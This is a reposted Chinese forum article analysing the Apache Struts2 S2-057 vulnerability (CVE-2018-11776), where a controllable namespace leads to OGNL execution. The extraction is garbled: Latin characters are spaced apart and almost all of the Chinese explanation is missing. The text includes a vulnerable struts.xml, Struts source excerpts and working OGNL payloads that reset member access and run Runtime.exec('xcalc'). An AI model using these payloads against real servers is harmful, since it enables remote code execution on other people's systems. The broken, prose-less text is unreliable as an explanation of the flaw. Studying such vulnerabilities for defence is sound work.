[6792] 2020-06-25_Struts2漏洞系列之【S2-057】namespace可控导致的OGNL表达式执行

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-17
2020-06-25_Struts2漏洞系列之【S2-057】namespace可控导致的OGNL表达式执行 S t r u t s 2 S 2 - 0 5 7 n a m e s p a c e O G N L E   2 0 2 0 - 0 6 - 2 5   P e n t e s 7 e a m S m i 1 e @ P e n t e s 7 e a m h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 5 7 S t r u t s 2   t r u e       使           u r i O G N L S t r u t s   2 . 0 . 4   -   2 . 3 . 3 4 S t r u t s   2 . 5 . 0   -   2 . 5 . 1 6 s t r u t s . x m l   . a l w a y s S e l e c t F u l l N a m e s p a c e a c t i o n n a m e s p a c e r e s u l t   t y p e c h a i n r e d i r e c t A c t i o n p o s t b a c k n a m e s p a c e
s t r u t s 2         使           f a l s e u r l         u r i       u r i                 t r u e n a m e s p a c e u r i < s t r u t s >         < c o n s t a n t   n a m e = " s t r u t s . m a p p e r . a l w a y s S e l e c t F u l l N a m e s p a c e "   v a l u e = " t r u e "   / >         < p a c k a g e   n a m e = " S 2 - 0 3 2 "   e x t e n d s = " s t r u t s - d e f a u l t " >                 < a c t i o n   n a m e = " l o g i n "   c l a s s = " c o m . d e m o . a c t i o n . L o g i n A c t i o n " >                         < r e s u l t   n a m e = " s u c c e s s "   t y p e = " r e d i r e c t A c t i o n " >                                 < p a r a m   n a m e = " a c t i o n N a m e " > p a g e ? u s e r n a m e = $ { u s e r n a m e } < / p a r a m >                         < / r e s u l t >                         < r e s u l t   n a m e = " e r r o r " > i n d e x . j s p < / r e s u l t >                 < / a c t i o n >                 < a c t i o n   n a m e = " p a g e "   c l a s s = " c o m . d e m o . a c t i o n . P a g e A c t i o n " >                         < r e s u l t   n a m e = " s u c c e s s " > w e l c o m e . j s p < / r e s u l t >                 < / a c t i o n >         < / p a c k a g e > < / s t r u t s > p a c k a g e n a m e s p a c e a c t i o n a c t i o n a l w a y s S e l e c t F u l l N a m e s p a c e o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . m a p p e r . D e f a u l t A c t i o n M a p p e r g e t M a p p i n g A c t i o n M a p p i n g a c t i o n N a m e n a m e s p a c e p a r s e N a m e A n d N a m e s p a c e a l w a y s S e l e c t F u l l N a m e s p a c e
S 2 - 0 1 2           R e s u l t a c t i o n s t r u t s - d e f a u l t . x m l c h a i n r e d i r e c t A c t i o n p o s t b a c k < p a c k a g e   n a m e = " s t r u t s - d e f a u l t "   a b s t r a c t = " t r u e " >         < r e s u l t - t y p e s >                 < r e s u l t - t y p e   n a m e = " c h a i n "   c l a s s = " c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " d i s p a t c h e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t D i s p a t c h e r R e s u l t "   d e f a u l t = " t r u e " / >                 < r e s u l t - t y p e   n a m e = " f r e e m a r k e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . v i e w s . f r e e m a r k e r . F r e e m a r k e r R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " h t t p h e a d e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . H t t p H e a d e r R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " r e d i r e c t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t R e d i r e c t R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " r e d i r e c t A c t i o n "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t A c t i o n R e d i r e c t R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " s t r e a m "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S t r e a m R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " v e l o c i t y "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . V e l o c i t y R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " x s l t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . v i e w s . x s l t . X S L T R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " p l a i n T e x t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P l a i n T e x t R e s u l t "   / >                 < r e s u l t - t y p e   n a m e = " p o s t b a c k "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t "   / >         < / r e s u l t - t y p e s >
                        c o m . o p e n s y m p h o n y . x w o r k 2 . D e f a u l t A c t i o n I n v o c a t i o n e x e c u t e R e s u l t ( ) t y p e = " r e d i r e c t A c t i o n " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t A c t i o n R e d i r e c t R e s u l t a c t i o n e x e c u t e
    s t r u t s . x m l                         u r i             S 2 - 0 1 2 p u b l i c   v o i d   e x e c u t e ( A c t i o n I n v o c a t i o n   i n v o c a t i o n )   t h r o w s   E x c e p t i o n   {         t h i s . a c t i o n N a m e   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . a c t i o n N a m e ,   i n v o c a t i o n ) ;         i f   ( t h i s . n a m e s p a c e   = =   n u l l )   {                 t h i s . n a m e s p a c e   =   i n v o c a t i o n . g e t P r o x y ( ) . g e t N a m e s p a c e ( ) ;         }   e l s e   {                 t h i s . n a m e s p a c e   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . n a m e s p a c e ,   i n v o c a t i o n ) ;         }         i f   ( t h i s . m e t h o d   = =   n u l l )   {                 t h i s . m e t h o d   =   " " ;         }   e l s e   {                 t h i s . m e t h o d   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . m e t h o d ,   i n v o c a t i o n ) ;         }         S t r i n g   t m p L o c a t i o n   =   t h i s . a c t i o n M a p p e r . g e t U r i F r o m A c t i o n M a p p i n g ( n e w   A c t i o n M a p p i n g ( t h i s . a c t i o n N a m e ,   t h i s . n a m e s p a c e ,   t h i s . m e t h o d ,   ( M a p ) n u l l ) ) ;         t h i s . s e t L o c a t i o n ( t m p L o c a t i o n ) ;         s u p e r . e x e c u t e ( i n v o c a t i o n ) ; } a c t i o n N a m e n a m e s p a c e t h i s . n a m e s p a c e = n u l l i n v o c a t i o n . g e t P r o x y ( ) . g e t N a m e s p a c e ( ) n a m e s p a c e p u b l i c   S t r i n g   g e t N a m e s p a c e ( )   {                 r e t u r n   t h i s . n a m e s p a c e ; } t h i s . a c t i o n M a p p e r . g e t U r i F r o m A c t i o n M a p p i n g ( n e w   A c t i o n M a p p i n g ( t h i s . a c t i o n N a m e ,   t h i s . n a m e s p a c e ,   t h i s . m e t h o d ,   ( M a p ) n u l l ) ) a c t i o n N a m e n a m e s p a c e m e t h o d t h i s . s e t L o c a t i o n ( t m p L o c a t i o n ) S e r v l e t A c t i o n R e d i r e c t R e s u l t l o c a t i o n
                    l o c a t i o n o g n l     s u p e r . e x e c u t e ( i n v o c a t i o n ) o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S t r u t s R e s u l t S u p p o r t e x e c u t e c o n d i t i o n a l P a r s e T e x t P a r s e U t i l . t r a n s l a t e V a r i a b l e s c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t
            S t r u t s   2 . 5 . 0   -   2 . 5 . 1 6 2 . 5 . 1 3 使       o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t S e r v l e t A c t i o n R e d i r e c t R e s u l t c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t e x e c u t e o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t # c o n t e x t
  2 . 5 . 2 0     S 2 - 0 4 5 使 2 . 5 . 1 2 2 . 5 . 1 3 2 . 5 . 1 6 C V E - 2 0 1 8 - 1 1 7 7 6 A p a c h e   S t r u t s   2 . 5 . 1 6   O G N L       访         k e y               O g n l C o n t e x t e x c l u d e d C l a s s e s c o n t e x t c o n t e x t a t t r s t r u t s . v a l u e S t a c k O g n l V a l u e S t a c k O g n l V a l u e S t a c k c o n t e x t
                                    ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) e x c l u d e d C l a s s e s s e t t e r ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y s e t t e r e x c l u d e d C l a s s e s e x c l u d e d C l a s s e s e x c l u d e d C l a s s e s _ m e m b e r A c c e s s e x c l u d e d C l a s s e s
                使                 ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) ) . ( @ j a v a . l a n g . R u n t i m e @ g e t R u n t i m e ( ) . e x e c ( ' x c a l c ' ) ) _ m e m b e r A c c e s s e x c l u d e d C l a s s e s O g n l U t i l O g n l U t i l _ m e m b e r A c c e s s A c t i o n C o n t e x t V a l u e S t a c k
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则